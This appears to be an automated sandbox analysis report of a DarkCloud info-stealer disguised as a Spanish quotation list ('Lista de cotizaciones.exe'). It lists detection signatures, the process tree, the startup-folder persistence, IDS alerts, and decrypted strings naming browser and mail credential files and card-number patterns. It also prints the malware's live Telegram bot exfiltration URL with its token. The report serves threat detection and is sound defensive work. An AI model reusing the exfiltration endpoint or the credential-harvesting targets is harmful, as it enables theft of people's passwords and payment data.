Edit tour

Windows Analysis Report
Lista de cotizaciones.exe

Overview

General Information

Sample name:	Lista de cotizaciones.exe
Analysis ID:	1556292
MD5:	a2d04709e9b6608f55007222d39fe8d4
SHA1:	59cdf12e87f54707cb37736d63e7b154e61c10c4
SHA256:	e3ac415d0fcac1c616425032257c65e27efbd46c15a8daf6afd6571912889935
Tags:	exeuser-lowmal3
Infos:

Detection

DarkCloud

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected DarkCloud

Yara detected Generic Dropper

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Downloads files with wrong headers with respect to MIME Content-Type

Drops VBS files to the startup folder

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes or reads registry keys via WMI

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

Lista de cotizaciones.exe (PID: 7548 cmdline: "C:\Users\user\Desktop\Lista de cotizaciones.exe" MD5: A2D04709E9B6608F55007222D39FE8D4)

InstallUtil.exe (PID: 8124 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

WmiPrvSE.exe (PID: 6120 cmdline: C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding MD5: 64ACA4F48771A5BA50CD50F2410632AD)

wscript.exe (PID: 7328 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

Method.exe (PID: 5976 cmdline: "C:\Users\user\AppData\Roaming\Method.exe" MD5: A2D04709E9B6608F55007222D39FE8D4)

InstallUtil.exe (PID: 7536 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

boost.exe (PID: 1384 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

conhost.exe (PID: 4052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

boost.exe (PID: 7624 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

conhost.exe (PID: 7556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DarkCloud Stealer	Stealer is written in Visual Basic.	No Attribution	https://asec.ahnlab.com/en/53128/ https://c3rb3ru5d3d53c.github.io/malware-blog/darkcloud-stealer/	https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud

Malware Configuration

Threatname: DarkCloud

{"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendMessage?chat_id=7546472414"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.1537972615.0000000002B75000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.1360864673.0000000002742000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000D.00000002.1534743132.0000000000751000.00000004.00000400.00020000.00000000.sdmp	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp	LokiBot_Dropper_Packed_R11_Feb18	Auto-generated rule - file scan copy.pdf.r11	Florian Roth	0x3be4:$s1: C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
0000000A.00000002.1557861462.00000000049C0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.1374584452.00000000039B2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
00000001.00000002.1374584452.00000000039B2000.00000004.00000800.00020000.00000000.sdmp	LokiBot_Dropper_Packed_R11_Feb18	Auto-generated rule - file scan copy.pdf.r11	Florian Roth	0x411b4:$s1: C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
0000000A.00000002.1557861462.0000000003DF6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
00000001.00000002.1385612637.0000000006830000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000001.00000002.1374584452.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Process Memory Space: Lista de cotizaciones.exe PID: 7548	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Process Memory Space: Lista de cotizaciones.exe PID: 7548	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Lista de cotizaciones.exe PID: 7548	JoeSecurity_GenericDropper	Yara detected Generic Dropper	Joe Security
Process Memory Space: Lista de cotizaciones.exe PID: 7548	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Method.exe PID: 5976	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Process Memory Space: Method.exe PID: 5976	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Method.exe PID: 5976	JoeSecurity_GenericDropper	Yara detected Generic Dropper	Joe Security
Process Memory Space: Method.exe PID: 5976	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: InstallUtil.exe PID: 7536	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.Lista de cotizaciones.exe.6830000.14.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
10.2.Method.exe.3df6ad8.10.raw.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
1.2.Lista de cotizaciones.exe.45902d0.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
10.2.Method.exe.3df6ad8.10.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
10.2.Method.exe.49c02d0.11.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
13.2.InstallUtil.exe.750000.0.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
1.2.Lista de cotizaciones.exe.39eeaf8.2.raw.unpack	JoeSecurity_DarkCloud	Yara detected DarkCloud	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs" , ProcessId: 7328, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\boost.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe, ProcessId: 8124, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\abacuses

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs" , ProcessId: 7328, ProcessName: wscript.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Users\user\Desktop\Lista de cotizaciones.exe, ProcessId: 7548, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Method.vbs

Suricata Signatures

ET MALWARE DarkCloud Stealer Key Logger Function Exfiltrating Data via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:11:24.221316+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49978	149.154.167.220	443	TCP
2024-11-15T09:11:27.007570+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49979	149.154.167.220	443	TCP
2024-11-15T09:11:29.766130+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49980	149.154.167.220	443	TCP
2024-11-15T09:11:32.666394+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49981	149.154.167.220	443	TCP
2024-11-15T09:11:35.986066+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49982	149.154.167.220	443	TCP
2024-11-15T09:11:38.750731+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49983	149.154.167.220	443	TCP
2024-11-15T09:11:41.462156+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49984	149.154.167.220	443	TCP
2024-11-15T09:11:44.176533+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49985	149.154.167.220	443	TCP
2024-11-15T09:11:46.892974+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49986	149.154.167.220	443	TCP
2024-11-15T09:11:49.955197+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49987	149.154.167.220	443	TCP
2024-11-15T09:11:52.675609+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49988	149.154.167.220	443	TCP
2024-11-15T09:11:55.371632+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49989	149.154.167.220	443	TCP
2024-11-15T09:11:58.071763+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49990	149.154.167.220	443	TCP
2024-11-15T09:12:00.829776+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49991	149.154.167.220	443	TCP
2024-11-15T09:12:03.965833+0100	2045300	1	A Network Trojan was detected	192.168.2.10	49992	149.154.167.220	443	TCP

ET MALWARE PE EXE or DLL Windows file download Text M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:10:02.467706+0100	2022640	1	A Network Trojan was detected	190.107.177.80	80	192.168.2.10	49705	TCP
2024-11-15T09:10:20.350546+0100	2022640	1	A Network Trojan was detected	190.107.177.80	80	192.168.2.10	49795	TCP

ET MALWARE PE EXE or DLL Windows file download disguised as ASCII

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:10:02.467706+0100	2017962	1	A Network Trojan was detected	190.107.177.80	80	192.168.2.10	49705	TCP
2024-11-15T09:10:20.350546+0100	2017962	1	A Network Trojan was detected	190.107.177.80	80	192.168.2.10	49795	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:10:22.094876+0100	2803274	2	Potentially Bad Traffic	192.168.2.10	49806	162.55.60.2	80	TCP

ETPRO MALWARE DarkCloud/BluStealer - SysInfo Exfil via Telegram M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-15T09:11:23.815714+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49978	149.154.167.220	443	TCP
2024-11-15T09:11:26.716977+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49979	149.154.167.220	443	TCP
2024-11-15T09:11:29.446001+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49980	149.154.167.220	443	TCP
2024-11-15T09:11:32.353653+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49981	149.154.167.220	443	TCP
2024-11-15T09:11:35.715434+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49982	149.154.167.220	443	TCP
2024-11-15T09:11:38.469973+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49983	149.154.167.220	443	TCP
2024-11-15T09:11:41.174870+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49984	149.154.167.220	443	TCP
2024-11-15T09:11:43.890563+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49985	149.154.167.220	443	TCP
2024-11-15T09:11:46.612485+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49986	149.154.167.220	443	TCP
2024-11-15T09:11:49.513183+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49987	149.154.167.220	443	TCP
2024-11-15T09:11:52.398202+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49988	149.154.167.220	443	TCP
2024-11-15T09:11:55.096734+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49989	149.154.167.220	443	TCP
2024-11-15T09:11:57.786369+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49990	149.154.167.220	443	TCP
2024-11-15T09:12:00.502121+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49991	149.154.167.220	443	TCP
2024-11-15T09:12:03.364662+0100	2852388	1	Malware Command and Control Activity Detected	192.168.2.10	49992	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 10.2.Method.exe.3df6ad8.10.raw.unpack

Malware Configuration Extractor: DarkCloud {"Exfil Mode": "Telegram", "Telegram URL": "https://api.telegram.org/bot7824077250:AAFcoqx_HuY2oC2csA-0G-hez0Tv78Sn08E/sendMessage?chat_id=7546472414"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\Method.exe

ReversingLabs: Detection: 39%

Multi AV Scanner detection for submitted file

Source: Lista de cotizaciones.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Method.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Lista de cotizaciones.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: Cookies
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: \Default\Login Data
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: \Login Data
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: //setting[@name='Password']/value
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: Password :
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: SMTP Email Address
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: NNTP Email Address
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: Email
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: HTTPMail User Name
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: HTTPMail Server
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^(?!:\/\/)([a-zA-Z0-9-_]+\.)[a-zA-Z0-9][a-zA-Z0-9-_]+\.[a-zA-Z]{2,11}?$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: Password
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^3[47][0-9]{13}$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^(6541\|6556)[0-9]{12}$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^389[0-9]{11}$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^3(?:0[0-5]\|[68][0-9])[0-9]{11}$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^63[7-9][0-9]{13}$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^(?:2131\|1800\|35\\d{3})\\d{11}$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^9[0-9]{15}$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^(6304\|6706\|6709\|6771)[0-9]{12,15}$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^(5018\|5020\|5038\|6304\|6759\|6761\|6763)[0-9]{8,15}$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: Mastercard
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^(6334\|6767)[0-9]{12}\|(6334\|6767)[0-9]{14}\|(6334\|6767)[0-9]{15}$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^(62[0-9]{14,17})$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: logins
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^(4903\|4905\|4911\|4936\|6333\|6759)[0-9]{12}\|(4903\|4905\|4911\|4936\|6333\|6759)[0-9]{14}\|(4903\|4905\|4911\|4936\|6333\|6759)[0-9]{15}\|564182[0-9]{10}\|564182[0-9]{12}\|564182[0-9]{13}\|633110[0-9]{10}\|633110[0-9]{12}\|633110[0-9]{13}$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: Visa Card
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: ^(?:4[0-9]{12}(?:[0-9]{3})?\|5[1-5][0-9]{14})$
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: Visa Master Card
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: \logins.json
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: \signons.sqlite
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: Foxmail.exe
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: mail\
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: \Accounts\Account.rec0
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: \AccCfg\Accounts.tdat
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: EnableSignature
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: Application : FoxMail
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: encryptedUsername
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: encryptedPassword
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: \Default\Cookies
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: \Cookies
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: \cookies.sqlite
Source: 1.2.Lista de cotizaciones.exe.39eeaf8.2.unpack	String decryptor: \cookies.db

Source: Lista de cotizaciones.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49986 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49992 version: TLS 1.2

Source: Lista de cotizaciones.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Lista de cotizaciones.exe, 00000001.00000002.1360864673.0000000002A6A000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1359936623.0000000000CF0000.00000004.08000000.00040000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1374584452.00000000036B8000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: W.pdb4 source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000003A2F000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1360864673.0000000002B80000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002EDD000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1557861462.0000000003E37000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1557861462.0000000003EBF000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Lista de cotizaciones.exe, 00000001.00000002.1360864673.0000000002A6A000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1359936623.0000000000CF0000.00000004.08000000.00040000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1374584452.00000000036B8000.00000004.00000800.00020000.00000000.sdmp, Method.exe, 0000000A.00000002.1537972615.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb\rvr hr_CorExeMainmscoree.dll source: boost.exe, 0000000E.00000000.1620326870.0000000000812000.00000002.00000001.01000000.0000000C.sdmp, boost.exe.7.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Lista de cotizaciones.exe, 00000001.00000002.1374584452.0000000004484000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1386998239.00000000071C1000.00000004.00000800.00020000.00000000.sdmp, Lista de cotizaciones.exe, 00000001.00000002.1385276040.0000000006760000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: InstallUtil.pdb source: boost.exe, 0000000E.00000000.1620326870.0000000000812000.00000002.00000001.01000000.0000000C.sdmp, boost.exe.7.dr

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 4x nop then jmp 04B1C2CAh	10_2_04B1BF28
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 4x nop then jmp 04B1C2CAh	10_2_04B1BF19
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 4x nop then jmp 04B1C2CAh	10_2_04B1C10C
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 4x nop then jmp 04B3E128h	10_2_04B3DEE8
Source: C:\Users\user\AppData\Roaming\Method.exe	Code function: 4x nop then jmp 04B3E128h	10_2_04B3DED9
